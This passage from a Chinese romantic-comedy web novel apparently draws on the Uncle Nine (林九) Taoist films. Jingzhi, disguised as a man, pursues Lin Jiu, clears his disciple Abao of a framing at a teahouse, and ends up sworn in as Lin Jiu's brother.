阿宝一醒来就看到他师父板着的大脸,吓得腿一滑,差点从椅子上掉下去,“你们回来啦?” “嗯。”林九低低应了一声,来到庭院边的水缸旁,本想舀水洗手,却又想到他这双手不仅碰过尸体,还碰到过病人。 拿水里的瓢的话,不就污染了这缸水吗? 静之看出他的犹豫,走过去袖子一撸,自来熟的拿起水瓢,舀起一勺清水举到石头水沟上方。 “你站到上面来,不然等会鞋打湿了。” 林九愣了一下,见她还举着,只能一步跨到台阶上头,站在她旁边摊开手。 冰凉的水一点一滴落到他的手心,林九仔仔细细搓洗着每根手指头,静之舀了一瓢又一瓢,直到第三瓢水用尽,他才叫停。 “麻烦你了。” “这有啥。”静之上辈子亲近林九亲近惯了,她非常自然的拉过他的手,想把他往下滑的袖口往上挽。 忘却了所有的林九,反倒是不适应上了。 他后退一步,用还带着水珠的指尖轻轻推开她的手,“我自己来,谢谢。” 静之也不强求,微笑着放开他,看着他自己把袖子往上叠了两层,才用扇子轻轻戳了戳他湿漉漉的袖口,调笑道: “看吧,还不让我帮你,都打湿了。” 林九一噎,面颊微红。 他把手背到身后,垂着眸有些尴尬的说: “没关系,天气热。” 林九(微微警觉):这人……是不是对他有所图,对他这么好干什么? 阿海和阿宝看得眼睛都快掉出来了。 他们师父什么时候这么和颜悦色的跟一个陌生人说过话了? 他俩的目光在静之俏丽的脸上流连了一会儿,才恍然大悟。 原来,他们师父之所以怕女人,是因为性取向为男? 阿宝和阿海不禁一阵恶寒,双双捏住自己的领口抖了两下。 他俩这点小动作,林九怎么会注意不到呢。 他没好气的白了两人一眼,对阿宝说: “刚刚做的什么梦?说出来,师父帮你解梦。” 阿宝不知道为什么表情悻悻,他摸着脑袋想了几秒,才讪笑一下说: “我梦到跟阿珠下棋。” 静之从台阶上一个跨步,跨过湿漉漉的水沟,走到阿海旁边悄悄问: “阿珠是谁啊?” 阿珠,一听就是个女生的名字。 静之莫名看了林九一眼。 林九突感后脑勺发凉,回头一看,静之早就收回眼神,跟阿海站在他身后嘀嘀咕咕的。 阿海环着胸,朝他师兄一扬下巴。 “他指腹为婚的未婚妻喽,咱们等会要去的地方,就是她家的酒楼。” “哦~” 静之提起的心算是放了下来。 就在这时,林九边踱着步子朝他俩走过来,边慢慢解释说: “下棋嘛,也就是你走一步,小珠走一步……我看啊,你梦到和小珠私奔了吧。” 阿宝眼睛瞪得大大的,“你怎么知道?” 林九站定到阿海面前,有些傲娇的抬起下巴说: “你师父我算出来的嘛。” “噗……” 静之笑意盈盈的看着林九圆润的后脑勺,突然好想上手摸一把…… 林九也听到她在笑,他莫名没有生气,跟着嘴角微微上扬,又问阿宝: “你先行,还是小珠先行啊?” 阿宝憨厚的脸上这时浮出一丝心虚,他含糊的说道: “……小珠先走。” 他又欲盖弥彰的补充一句: “不过我的棋都被她吃光了。” 林九怎么会不明白他这个大徒弟的小心思呢,他斜了阿宝一眼,凉凉的说: “梦都是相反的,梦里是小珠主动,其实是你主动。” “你的棋被她吃光了……其实是你想把小珠吃光了。” “嘿~~”阿海杵了杵阿宝的胳膊,眉毛都快升天了,一脸揶揄问: “小珠的味道香不香啊?” 阿宝举起手里的毽子扬了扬,作势要打他,又没好气的对他哼了一声。 “你还敢说,你这臭小子,梦里都想着要害我!” “师父就不同了,永远都护着我。” 第193章 林弟很虚 阿海一脸“你这就不懂了吧”的表情,对着阿宝说: “呐,刚刚师父说过,梦都是相反的。” “在梦里我对你不好呢,就表示现实里我对你很好!” “在梦里师父对你很好呢,就表示……” “嗯?” 林九斜他一眼,就发现阿海在他脑后比划着的来不及收起的拳头,忍不住额头青筋直跳。 阿海讪讪放下拳头,拍拍林九肩头不存在的灰,朝林九狗腿笑: “就表示咱们师父对你更好!!” 静之暗自发笑,心道阿九收的徒弟怎么都这么有意思。 “那就要看看你们有没有良心了。”林九大手一背,看着这俩徒弟有些无语,朝静之一扬下巴,“走吧。” 静之快走两步,跟上林九,就听到身后两人窃窃私语: “昧着良心。” “好!!!”*2 离不过三米,林九怎么会听不到呢。 臭小子,难道平时他对他们还不够好吗? 眼瞅着他脸黑了下来,静之亦步亦趋跟在他旁边,浅笑着,却是十分认真的说: “我觉得林道长人很好呢,仗义助人,不求回报,侠肝义胆,人中之杰!” 林九眉梢微微一扬,耳尖渐渐染上一层红意。 阿海一脸踩了狗屎的表情,啧啧两声,在他们背后小声蛐蛐: “太夸张了吧,这说的还是我们师父吗?” 静之猛的回头,“我真这么觉得!” “走!”林九突然心情大好,嘴角微微勾起,“喝茶去。” 阿海:“好嘞!” 管他呢,反正今天师父请客,不吃白不吃! 他跟阿宝两个人逗比似的,夸张的摇动着手臂,以竞走的姿势,一左一右,从后头把静之跟林九包抄在二人中间,就怕他们师父不带他们去。 外头路过的行人纷纷侧头看着他们四个人。 “怎么这样走路啊?” “真奇怪!” 林九眼皮微跳,停下脚步,叉着腰凉凉问道: “你们这么走,有什么好处吗?” 阿海眼睛咕噜一转,一本正经的说: “有!动上身,可以丰胸!动下身呢,还可以壮阳呢!” 林九:“……壮阳?” 静之低头看着自己的胸部:“真可以丰胸?” 阿海死死忍住笑意,一脸笃定,用力点头。 静之似懂非懂,紧紧捏着手里的扇子,双臂摆得都快起飞了,大步朝前走去。 而林九则是双手握拳提起,力沉丹田,以上半身扎马步的架势,摆动着胯部,跟蛇精似的,一扭一扭的朝前走。 阿宝:“噗!” 阿海:“哈!” 阿海忍不住笑了一声,他赶紧捂住嘴巴,装作一脸认真,对上前头两人看过来的视线。 静之跟林九收回看阿海的眼神,把目光放在对方奇怪的走姿上。 两人不禁面面相觑。 静之欲言又止:“你……需要壮阳啊?” 兄弟之间,难免会聊到这个话题。 但是林九不是那种人。 他被静之问得面红耳赤,索性把话题绕回她身上。 他看一眼静之瘦削的肩膀,耿直的说:“你是需要多练练。” 静之:“!?” “哼!”她停下这愚蠢的举动,放下手臂,不再与林九并排走,反而气鼓鼓的大跨步朝前迈去。 阿海凑到林九耳边:“师父,她是瘦了点,但是你这么当面说人家,是不是不太好啊。” 阿宝:“对啊,也难怪人家会哼你。” 林九自觉说错话了,把阿海凑到跟前的大脸推开,摸摸鼻子跟上静之,却始终落后一步,嘴巴张合半天,就是拉不下脸来跟她道歉。 他默默打量着她的背影,只见她四肢虽然纤细,肩膀是瘦削些,但是肩平体直,走路姿态虎虎生风。 林九想,有人可能就是天生不长肉的体质,林兄弟这样的身形,也别有一番风流的气质在。 算了,男人之间道个歉也没什么。 “对不起。”林九快走一步,走到她左边,“是我乱说话。” “哼!”静之看着他真诚的眼睛两秒钟,突然别过脸去,“我才没生气。” 没生气的话,哼什么呢? 林九从侧面都能看到她微微撅起的红唇。 林九眸光微闪,此刻他竟才发现,林弟长得挺好的,唇红齿白,眼大有神,男生女相,往后必定会大富大贵。 那双在他心里有神的大眼,此时偷偷瞄了过来,“还看!天然居到了。” 静之被林九这纯欣赏的目光盯得不争气红了脸,一时之间竟露出了女儿家嗔怒的姿态,脚微微一跺,就走进酒楼。 得亏林九对她的好印象在前,这会儿也只是觉得她少年意气,举止有些少年人的天真罢了,并没有多加怀疑。 他两步跟上,站定到她身边,眼睛却克制的不往她脸上瞅了。 “好像客满了呢。”她举目四望,每桌都坐满了人,门口甚至还有个大娘站在一边排队。 “我们去别的地方吃——哎呦!” 人实在太多,忙到脚打后脑勺,提着铜壶的小二从背后快走过来,却不小心撞到静之侧肩。 她向旁边一个趔趄,手一扬,幸亏及时把住一个东西,才站稳了身子。 直到指尖火热的温度传来,静之才发现,她把住的东西,是林九的右手。 指腹微微粗粝的触感,不禁让她心跳漏了一拍,手指头当下就沁出了一层细汗。 而此时的林九不仅人没吐,脸上甚至还带上几分关切: “没烫到你吧?” 她突然抬眸,直直望入他那双专注看着她的眼中。 那双眼里头,情愫莫名,她有些看不懂。 是对兄弟的关切吗? 她这一步,是不是走歪了? 静之放开他的手后退一步,有些别扭把手藏到身后擦一擦掌心的汗:“没事。” 而林九则是缓缓背过手,指尖摩挲着她的汗水。 林九心想,林弟这手都出虚汗了,身子骨是有些虚呢。 看来,得找个时间给他把把脉,调理好身体才是正途。 这一插曲被正招呼客人的老板发现。 见到是九叔,他热切的迎上前来。 “九叔,怎么有空来了?楼上给您留了雅座,去楼上坐吧!” 阿宝扯平身上的粗布衣服,有些局促的上前一步,“……岳父。” 老板像打量臭鱼烂虾一样,嫌弃的看他一眼,迎着林九就往楼梯口走去。 “九叔啊,我这店里最近不知道怎么回事,大师傅切菜切到手,二师傅被油烫了脸,什么时候有空,你帮我到后厨看看吧?” “这么严重?”林九脚步一拐,往楼下走去,“现在就去看看吧。” “好好好!”老板巴不得他早点看,毕竟开酒楼的,做饭师傅可是宝中之宝。 下楼下到一半,林九有些抱歉的回头,跟站在楼梯上的静之说: “你先上去,我等会就来。” “好。”静之在心里默默感叹,他就算轮回几世,也依旧还是那个面冷心热的人呢。 第194章 我不搞断袖 他们仨上楼后,环视一圈,哪里还能看到什么雅座。 位置也就剩下楼梯口一张空桌。 静之这才刚坐下,屁股还没坐热呢,就看到阿宝径直朝二楼正中间一张桌子走去。 “哎呀,别拉着我。”静之拍去阿海的手,看着阿宝怒气冲冲的背影问: “他要拔刀相助,英雄救美啊?” 阿海朝正拉拉扯扯的那对男女扬了扬下巴解释: “看见没有,那穿淡黄色褂子,像个暴发户的,是我们这儿臭名昭着的史公子,经常到处调戏良家妇女。” “被他拉住的姑娘呢,就是我师兄的未婚妻小珠。” 静之不解。 “那你还不让我过去?身为公职人员,这种欺男霸女的事儿,我没办法坐视不管。” 她刚一拍桌子站起来,阿海死死扯住她的袖子又让她坐下。 他叹了口气说: “你救得了她一时,怎么可能救得了她一世,她家是开客栈的,别说史公子了,就因为她长得好,所以她家生意才这么好的,有些公子哥儿来这儿喝茶消费,就是为了看她一眼。” “你要是帮她赶走了史公子,说不定她爹就要上来跟你急了。” “而且我师兄已经被朱老板警告过了,不准他再在他这儿闹事。” “ 再?”她追问道:“什么意思?” 阿海双手交叉撑在桌前,眼神不停瞄着阿宝跟史公子的交锋,头却伸过来悄悄跟她解释: “你别告诉我师父啊,我师兄昨天,前天,包括大前天,都在这里打过架,谁占小珠便宜,他就打谁。” 边说着,他不自觉的轻轻耸动一下鼻子。 奇怪,林兄弟好香啊,跟姑娘家一样。 但又不是脂粉香。 这股似有若无的香气引起了阿海的注意力,他收回眼神,突然贴近静之的发间,想要嗅个明白。 就在两人只剩下约20厘米距离时,静之抽出筷筒里的筷子杵向他肩头。 “干什么,我不搞断袖啊。” 阿海脑子里莫名产生一个念头。 她不搞断袖,那他们母胎solo的师父怎么办? …… 阿海挪回身子,一手捏住杵在他胸前的筷子笑着说: “我也不搞断袖,不过兄弟你好香啊!” “不像我,早上干半天活,都有汗臭味了。” 阿海抬起袖子,轻嗅自己身上的味道,然后皱了皱鼻子。 静之不动声色往旁边坐了坐,“是吗?海兄弟鼻子这么灵,有没有闻到这儿,好像有动物的味道啊?” 阿海不以为然。 他朝着身后的窗户指向楼下,“当然有啦,隔壁养了条狗,最近还生了一窝小狗呢,有空我带你去看看啊。” “……再说吧。” 就在这时,那三人好像谈不拢似的,静之看到那个史公子拍桌而起,一脚踩到了椅子上,好像正对着阿宝骂些什么。 阿海见不得兄弟被欺负,终于坐不住了。 他筷子都没来得及放,转着个杯子,就和静之走了过去。 “天然居的东西不会这么脏,我看啊,是某些人搞的鬼!” 史公子朝阿宝站的位置嗅了嗅,然后做出一副要yue的样子。 这副惺惺作态,故意恶心人的模样让静之不由眉头紧皱。 她往他指向的那盅人参鸡汤一看,清亮的汤面上,一只被烫得直蹬后腿的蚂蚱分外明显,一看就是刚掉进去的。 “怎么回事?”她问。 史公子被她精致的脸晃了一下,一时失语,嘴巴半张着,口水都要流下来了。 同桌坐着的老头在桌下揪了揪他的袍子,他才回过神来。 史公子捻着他下巴一颗大痣上的单根胡须,浑浊的眼睛上下打量一下静之的穿着,然后停留在她脸上,直勾勾盯着,轻佻的语气让静之十分不喜。 “差爷你过来的正好,这盅汤是他端给我的,我怀疑他要害我,你可要为我做主啊~” 边说着,他一撩袖子,就要把他那带满各色戒指的手搭到静之的胳膊上。 静之拿起扇子敲下他那只咸猪手,皮笑肉不笑的说: “如今线索未明,请别妄自定论,若他真要害你,我绝不姑息。” 静之觉得阿宝傻傻的,根本就不是这种会起坏心思的人。 不巧的是,刚刚她被阿海那句“兄弟你好香”的话给惊到了。 一时竟也没有看清是怎么回事,于是皱着眉看向阿宝。 刚想问个究竟,小珠发声了。 可能是处理多了这种情况,她选择忍气吞声。 小珠讪笑着对史少爷说:“非常抱歉,我帮你换一盅吧。” 史少爷一张大脸凑近突然小珠跟前,那眸中的淫光不止小珠看着恶心,就连静之这个旁人看了,都想抽他一巴掌: “既然小珠你放话了,那我爽了,我爽了啊!” “不过嘛……”他又摸着下巴,不怀好意的看向阿宝。 “不过什么?” 史少爷拿起碗里的汤勺,舀起盅里已经被烫到去世的蚂蚱伸到他嘴边,“你把它吃掉,这事儿就算了。” 阿海气得瞪大双眼,胸膛不断起伏着,“你是不是太过分了,又没有证据证明是我师兄干的,你凭什么叫他吃?!” “证据?”史少爷朝同桌的一个白发爆炸头老头使了个眼色,“他要证据。” 老头半阖着眼皮,嗜着一抹神秘微笑指向阿宝的口袋。 阿海朝下一看,两只活蹦乱跳的蚂蚱此时正停在阿宝口袋边上苍蝇搓手。 “师兄你……”阿海嘴里辩护的话瞬间收了回去,看着阿宝一脸便秘。 阿宝看到蚂蚱,他也吓了一跳。 他自己做没做,他能不知道吗? 手伸到口袋里搜罗一通,找出一条深蓝色的帕子。 “这不是我的。”阿宝说。 史少爷非常欠揍欸~了一声,说:“从你口袋里拿出来的,不是你的,难道是我的?” 静之接过那条帕子,抖落里头的蚂蚱,展开一看,视线从帕子上挪到那个老头身上。 她突然明了。 扇子压下史公子举着汤匙的手,然后反驳道: “这帕子上的刺绣,为苗绣。” “阿宝是汉族人,会劳什子苗绣,我看……”她意有所指,直直看向那穿着深蓝色衣服的老头,“凶手,另有其人。” 史公子有些无措的看向老头,见他面色凝住,只能硬着头皮指着阿宝说: “就不允许有女人送他帕子吗?” 静之扇子一展,轻轻扇着,她缓缓绕到那老头身后,视线不离他袖口和领口的苗绣,解释说: “苗族女人一生只会送一次苗绣给男人,那个男人必是她的情郎。” “阿宝虽然穷,但是对小珠的专情,邻里乡亲,皆有目共睹。” 她突然面向二楼竖起耳朵吃瓜的群众问:“你们说呢?” 群众里不知道谁说了一句: “没错没错,他最近天天来天然居,昨天打黄公子的时候我还看到了呢。” 有人起头,就有人附和道: “是啊,人家青梅竹马,指腹为婚,感情挺好的。” “就是他未来岳父不做人,嫌弃阿宝家贫,小朱都二十了,还不让嫁,再这样下去,她都要熬成老姑娘了。” …… 群众渐渐歪楼。 史公子从一脸挫败,又开始慢慢变得自满。 他转着大拇指上的扳指对老头说: “哎呦,小珠要是跟了他,估计只能喝白水了,连蚂蚱汤也喝不上喽~” 阿宝实在气不过,一掌拍到桌子上: “敢不敢跟我出去单挑?” “好!” 刚说完,史公子就捂着嘴后悔了。 阿宝尽得九叔真传,身手一等一的好,他打得过才怪。 这回完了,他看他是要被打成孙子了。 第195章 英雄救美 她还以为阿宝是个老实人呢,没想到脾气还是这么暴躁,一言不合就约架。 眼瞅着阿宝三步并做两步,跨下楼梯朝门口奔去,有些好事者也跟着一窝蜂的挤到楼梯口,妄图求个方便吃瓜的前排席位。 想到阿海之前跟她说的,静之心想,真要让他们在这儿打起来了,头疼的,不还是当人家师父的林九吗? 毕竟,林九现在可就在后厨帮人家看风水呢。 她见楼梯口实在人挤人下不去,于是右手一扶栏杆,身轻如燕,直接从二楼跃到一楼的空地上,惹得正吃饭喝茶的群众一阵惊呼。 阿海有样学样,跟着跳了下去。 两人还未走到门口劝住阿宝,身后就传来一阵更强烈的惊呼声。 静之和阿海双双回头一看,那史公子正单手吊在栏杆上,整个人悬在空中晃悠,另一只手抓耳挠腮,仿佛变了个人。 “他身手那么好的吗?”静之问。 阿海摸着后脑勺,也是一头雾水。 “没有啊,他就是个不学无术的混子,不会武的。” “那这是怎么回事?” 还未等他们探讨完,史公子自栏杆上生生朝他俩跃了过来。 静之和阿海一左一右双双分开,避过这个人型炸弹。 奇怪的是,史公子也不是要打他俩,反而紧追着阿宝的脚步,四肢并用,速度极快的窜了出去。 “去看看。”阿海说。 待两人拨开围在门口的重重人群一瞧。 史公子已经跟阿宝打起来了。 按理说,常年纵情风月的人,不应有这种敏捷的身手。 但是眼前的战况摆在这儿,史公子居然能跟从小学武的阿宝打成个平手。 “怎么突然变得这么厉害?” 阿海眼睁睁看着史公子避开他师兄凌厉的一脚,跟个猴儿似的,一下就窜到树上去了,他皱着眉,忍不住低喃出声。 才刚说完,史公子后腿一蹬,调转方向一扑,直接跳到小珠身上,四脚攀得紧紧的,像只咬定不放松的壁虎。 一张臭嘴撅得老高,径直往小珠的一点朱唇贴去,吓得小珠花容失色。 她后仰着身子,边尖叫,边伸出手用力推挤着他的下巴,“啊!!走开!你放开我!!” 阿海要上去拉开他,却被他一个后撅腿瞬间踹飞。 吃瓜群众见阿海快撞到他们,这个时候倒知道避让了。 怎么也是林九的弟子,静之退不得。 静之后撤一脚抵住门槛,扶住不断后退的阿海。 在一片混乱声中,她的耳边突然传来容易让人忽视的“吱吱”叫。 静之回头往声源处看去。 那跟史公子同席而坐的老头,此时正不断引着一只动作灵巧的猴子,在楼上翻腾蹦跳。 静之看看猴子,又看看史公子。 这才发现,这一人一猴的动作简直就是复制黏贴。 当下她就明白,这不是跟秋生文才整阿威那一招一样吗? 下辈子徒弟整人,原来是因为这辈子徒弟被人这样整过啊? 可真真是,天道好轮回。 “阿海,你不是说隔壁养了条狗吗?刚生了小狗的母狗最凶了,你快去牵来。” 阿海一脸疑惑:“牵狗干什么,你倒是来帮忙呀。” 静之朝楼上一扬下巴,“你自己看。” 阿海看清事实的一瞬间,气得粗话瞬间脱口而出。 “妈的,居然来阴的!” 这回也不用静之支招了,他拨开人群,径直朝隔壁后院跑去。 静之刚放下一点心,一回头,就看到一个黑影兜头而降。 她下意识想要后退,却没想到这会儿正站在客栈的门槛处。 这年代的门槛,都是将近二十厘米高的。 她不仅没后退成功,反而把自己绊得一个后仰。 史公子这回没了人性,仅循着心中那点对美色的渴望,扒着静之的下摆就往上爬。 脚下不稳的静之,这会儿也不好在众目睽睽之下使灵力。 偏偏这会儿史公子中了邪术,力大如牛。 她把佩刀横在身前隔开那张臭烘烘的嘴,另一手撑地,两脚不断蹬着,想要挣脱史公子的束缚,眉头都快拧成结了。 “怎么还不来?” 她恶心得都快吐了,眼神一直朝右边阿海离去的位置瞟。 阿宝见状死死拖住他的腿,不让他往上爬一步。 就在史公子一手触碰到她腰的时候,静之怒从心起,咬着牙头一个后仰,然后一个头槌直接把史公子撞得眼冒金星。 还没放开呢,静之耳边突然刮过一阵厉风。 一只绷得紧紧的劲腿,用力蹬飞趴在她腰间的史公子,阿宝也被这极大的力道,带得后仰摔倒在地。 “……好腿。” 静之两手撑地,眼神从飞出去的两人身上收了回来,然后从伸到她面前骨节分明的手指,又默默往上移,最终落到了他脸上。 “阿九……” 看着他紧抿着嘴的冷脸,静之突然心生妄想。 他……不会吃醋了吧? …… 乍一听到这个称呼,林九精神一个恍惚,差点以为自己还在以往那些模糊不清的梦里。 虚开的眼神重新聚焦于一掌撑在地上,姿势颇为狼狈的静之时,他的心里突然涌起一股不可名状的怒气。 “你们这是在干什么?” 初初来这个世界,林九对她的态度,其实算得上是和缓的了。 突然他这么冷冰冰的说话,静之有些无措。 “……林兄,是他们先找事的,还使邪术!” 她也不敢把布满灰尘的手搭到他身上。 自己站直身子后,刀别在腰间,双手拍了拍,指向楼顶还在控制猴儿的老头。 “汪汪汪!” “让让啊,都让让!” 林九还未看清是谁作乱,就看到阿海牵着一条凶猛的狗,直奔还想扑过来的史公子。 莫名的,那史公子一个哆嗦,全身突然软了下去。 林九再一回头,楼上已然空空荡荡。 看着眼巴巴瞅着他的静之,林九压着脾气,低着声音,干巴巴跟她解释一句: “我刚刚不是说你。” 林兄弟跟史公子无仇无怨,这事儿肯定不是她挑起的,于是满腔的怒火就全部对准了这两个徒弟。 “你们不先找事,人家怎么会对付你们!” 阿海跟阿宝,一个牵着狗,一个牵着惊魂未定的小珠,头低低的,任由林九责骂。 就在这时,朱老板从他身后走了出来,食指用力戳向阿宝的太阳穴。 “昨天你在我这儿打了黄公子,今天你又来打史公子,你天天来我这儿打公子的是吧?!啊?!” 阿宝指着在人群中畏畏缩缩的史公子,辩解一句,“是他先非礼小珠的。” 史公子:“看一看就非礼,摸一摸就qj,你倒是别让她出来抛头露面,早点把她娶回去啊。” 朱老板觉得他说得不无道理,于是点点头,板着脸对阿宝说:“你到底什么时候娶她过门啊?” 阿宝以为他未来岳父终于松口了,顿时喜上眉梢,“我……” 还没说啥呢,史公子就凑到朱老板耳边怂恿道:“小珠嫁给他,会饿死的。” 朱老板闻言,又打量一下阿宝那身破烂衣服,满脸都是掩饰不住的嫌弃。 他上前一步,戳着阿宝的胸口说: “给你三个月时间,准备好60斤冬菇,60斤礼饼,600只鸡,否则我就到乡公所去解除婚约。” 听到这话,不仅阿宝面露难色,阿海和林九同样皱起了眉头。 朱老板是林九的客户,林九没办法出面说太多。 静之跟他没有利益上的瓜葛,她环着胸忍不住说句公道话: “我说掌柜的,整个镇子上加起来的鸡都不知道有没有600只,你要是故意创造一个阿宝达不到的条件,无故悔婚的话,我是有权利将你羁押到公堂之上,让大人评评理的。” 朱老板本就是故意为难阿宝,但是又害怕遭受牢狱之灾,他朝静之讪笑了一下,又立刻板着脸对阿宝说: “那就60只鸡,这不过分吧?” 静之朝阿宝使了使眼色。 阿宝穷得裤头都得打补丁了,但是看着眼眶红红的小珠,他还是狠狠心,咬牙答应下来。 “抱歉,朱老爷,我先带这两个孽徒回去,改天我再来给你看风水吧。” 扰了人家的生意,林九只能率先低头跟他道歉。 朱老板得罪不起九叔,扯着嘴角,朝他笑了笑,然后扯着还红着眼眶的小珠回去了。 …… 四人水都没喝上一口,更别说饭了,就这么往回走着。 肚子此起彼伏的叫着,仿佛一首饥饿的交响曲,林九气更大了。 他转头冷冷的对着阿海说:“还不把狗牵去还给人家?!” “哦。” 阿海看着宛如吃了炸弹的林九,应了一声,牵着狗脚底抹油,溜得飞快。 “唉……” 阿宝想着他未来岳父的条件,忍不住叹了一声。 静之看了眼臭脸的林九,又看看垂头丧气的阿宝,掏出身上的五十两,递了过去。 手伸到一半,就被林九一掌挡住。 “不用,他有手有脚,要娶媳妇,怎可靠别人接济?” 静之默默又把钱收了回去,然后拍拍阿宝厚实的肩头,两人对视一眼,然后看着林九重重“唉~”了一声。 难,太难了。 这年头别说阿宝了,就连她,找个活计都得连恐吓带骗的。 没有点本事,就三个月的时间,她看阿宝是赚不来买这么多东西的钱喽。 眼巴巴看着他的两人,眼神如出一辙的可怜。 林九一噎,梗着脖子,背着手越走越快。 阿海还完狗回来,看着离林九老远,慢吞吞走着的两人,不禁感到疑惑。 阿宝心情不好,他理解。 林兄弟怎么也跟着垂头丧气的。 “我师父骂你啦?”他问。 静之摇摇头,指着丧着脸的阿宝说:“那倒没有,九叔不让我帮他。” 阿海挠着后脑勺想了一会儿,才叹了口气表示理解。 “我师父最好面子,自尊心也强的很,不让你帮忙的话,我倒是不觉得意外。” 第196章 微死的静之 阿宝听他这么说,觉得更没有希望了。 连人带魂已经进入了微死的状态。 “唉……” 静之掏了掏耳朵,皱着眉对他说: “别叹了,家都让你叹散了,好运气都让你叹没了!” “支楞起来,二三十岁的男人正是该奋斗的时候,不然凭啥娶老婆?!” 阿宝:“我也想奋斗,但就算做生意,也得要本钱吧,而且做什么生意好?” 静之:“你自己想呗,你看看你最擅长什么,总不能前三十年都白活了吧。” 阿海抱着后脑勺,亦步亦趋走在她右边,笑着说:“卖毽子吧,我师兄做的毽子一绝,又漂亮又结实。” “呐,这不就想到法子了吗?”静之说。 阿宝则是摇摇头,“我都是拿咱们师父平时做法宰掉的公鸡羽毛做的,我要做生意的话,还不是要本钱去收购羽毛。” “再说了,这种小东西,手巧一点的人家也会做。” “说的也是。” 三人冥思苦想,想了一路,到最后,唉声叹气的人变成了三个。 静之不是没想过让阿宝去梁恩说的武馆里做工,但是她对梁家来说,相当于一个去世已久的祖先了。 她觉得她没有什么特权,能够对人家建立起来的产业指手画脚。 另一方面,对林九来说,她可能只是一个面熟的人,连朋友都算不上,她贸然对他徒弟的前途提出建议,会不会更伤他自尊心了? 阿海是个机灵的。 见他师父回了书房,在书架上不知道翻找些什么东西,他赶紧拍拍阿宝的肩膀,指指书房门,小声说: “在这儿叹有什么用,去那儿!” 于是,三人排排坐在林九书房门口。 “唉~” “唉~~” “唉~~~” “别唉了,拿去。” 林九看着那三个跟奥利奥似的,并排着的后脑勺,忍不住眼皮直跳,递过去十个银币。 “师父也只有这么多了,你都拿走吧。” “师父……”阿宝接过钱币,大受感动,但眉头依旧皱着,他捏着十个银币,欲言又止。 “这……十个不够啊。” “我觉得够了。”阿海竖起食指点了点下巴,眼神里满是睿智。 “拿去赌一把,赢了的话,10个就会变20,再赢再赌,20变40,80,160,320!” 他越说眼睛越亮,仿佛预见了他师兄暴富的未来,直到一根扇子敲到他头上,打碎了他的白日梦。 “输了呢,输了怎么办?”静之扇尖一绕,指向左边的阿宝手里的银币,“九兄攒点钱也不容易,你们输一次,就全完了。” 林九看奥利奥的“利”莫名顺眼。 “我早就替你想好了。”林九回到桌旁坐下,并招呼静之过来喝点茶水。 奥利奥的利没了,就剩下奥奥面面相觑。 他俩一同走了进来。 阿宝问道:“师父你想好什么办法了吗?” 林九不紧不慢的给静之递过去一杯茶后,才缓缓说: “何老板最近有个摊子要卖掉,出价12个银币,我跟他有点交情,我看十个银币应该够了。” “你接手摊子后,脚踏实地干活,我看攒够钱娶小珠还是有点希望的。” “谢谢师父!” 阿宝这时才露出一点笑颜。 “嗯,去吧。” 阿宝和阿海兴高采烈,拿着钱刚走出书房,想出去找何老板盘下摊子。 就听到屋里头传来一阵叮铃响。 两人回头一看。 好家伙! 地上散落了一大捧银币,而他们的师父正蹲在那儿惊慌失措捡着。 静之则是一脸懵逼,抬起脚丫,默默捡起掉在她鞋面上的银币。 这老头……挺能藏啊。 话说,除了林九,二娣会不会也背着她藏私房钱啊? 不行,等会她得回去找找。 阿宝:“师父……” 阿海同样一脸便秘:“师父你……” 林九讪笑得露出整齐的八颗牙齿: “那什么,都是错体银币,不能用的。” 两人将信将疑,挑着眉毛,转身走了出去。 静之摩挲着手中的银币,似笑非笑的把它推到林九的茶杯旁。 “喏,你的错体银币,很有收藏价值嘛~” 林九无语凝噎,满脸涨得通红。 他僵着指尖快速收拾好一地散乱的银币,还有桌子上那个让他二度社死的独苗苗,才默默走到书架前,闭上眼,在她看不见的角度里,用脑门轻轻敲着木质书架的边缘。 “九叔?”静之站起身子,朝他局促的背影唤了一句,“既然你忙着……那我先回去喽?” “等等!” 林九藏好钱,从书架最上层拿了罐药酒过来,“坐下。” 静之看着他手中的药酒,莞尔一笑。 “我真没事,不用搽药。” 林九一手搭到她肩膀上,把半站起身子起来的她又压回椅子上。 他伸出一根食指,轻点了一下静之脑门上微微红肿的地方。 “嘶——别动!” 林九收回手,揪开瓶口的塞子,倒了一点出来到手心揉热。 “我不帮你擦药的话,我看你估计会就这么算了的,脑袋可要多注意,以后不能再这么莽撞了。” 林九左手摁住她欲后仰的头顶,右手抻直,掌心轻揉她的脑门。 林九的眼神并未落到她脑门以下的地方,反而相当专注的看着她脑门上的小包。 蹙起的眉头是因为医者仁心,也是因为心疼这位有着侠肝义胆的“壮士”。 明明是非常正经的一张脸,抬起眼眸看着他的静之却心乱如麻。 她又开始自我攻略上了。 他一定喜欢上我了。 不然给我擦药干什么? 先说好哦,她林静之可不是什么颜狗,只是他这个人的长相刚好入了她的眼,而她,只想给全天下叫林九的人一个家而已…… 静之的嘴角都快翘成耐克标了,林九终于停手。 手刚挪开一点,就被满目深情的静之抓住。 “阿九~”她欲语还休。 林九愣了一下,然后将塞子塞回瓶口,将药酒塞进她手里,还语重心长,像位长者一样,拍了拍她的手说: “不用跟我客气,拿回去吧,没事多擦擦,估计一两天就能好。” 静之闭了闭眼。 ……这辈子他更木了怎么办??? 她一脸呆滞,嘴巴张合几下,除了“阿九”两个字,竟不知该使什么招数勾引他。 主要是,她现在是男儿装扮,要是一个不小心,把林九掰弯了,她上哪儿哭去呀。 就在这时,林九一脸不赞同,并一板一眼说: “我今年35,应比你大,叫我阿九不合适。” 林九轻轻拉着越发懵逼的静之,来到偌大的神像前跪下。 “皇天在上,后土在下,我林九愿与林弟结为……同姓兄弟。” 说到这儿,林九甚至回头朝她浅笑一下,“林弟,咱们可真有缘,都姓林呢。” 静之微死,恨不得当场去世。 她扶着膝盖,刚要站起,就听到耳边传来林九委屈且略带不解的声音: “林弟,你不愿意吗?也是……是我太过唐突了。” “不过我对林弟一见如故,林弟的人品也让林某心生结交之意,你……” 静之:要不你换个角度重新想想呢?为什么会对我一见如故呢? 静之跪了回去,缓缓闭上眼睛,开始给自己洗脑。 拜拜拜! 一样都是拜天地,怎么不算关系更进一步了呢? 林九叽里咕噜念了一大串。 然后往她手里塞了三根香,一脸期待的说:“今天时间紧迫,先上个香就好,改日为兄备好酒菜,咱们再正式结拜一次。” 林九牵着她的胳膊,朝向庭院中间,对着朗朗晴天,深深一拜。 静之心里默念:一拜天地! 林九牵着她回头二拜祖师爷。 静之强颜欢笑:二拜高堂! 林九接过她手里的香插入香炉里,然后背过身子,倒茶去了。 我的夫妻对拜呢?? 静之暗搓搓对着林九的背影深深鞠了一躬。 强行夫妻对拜~ “林弟?” 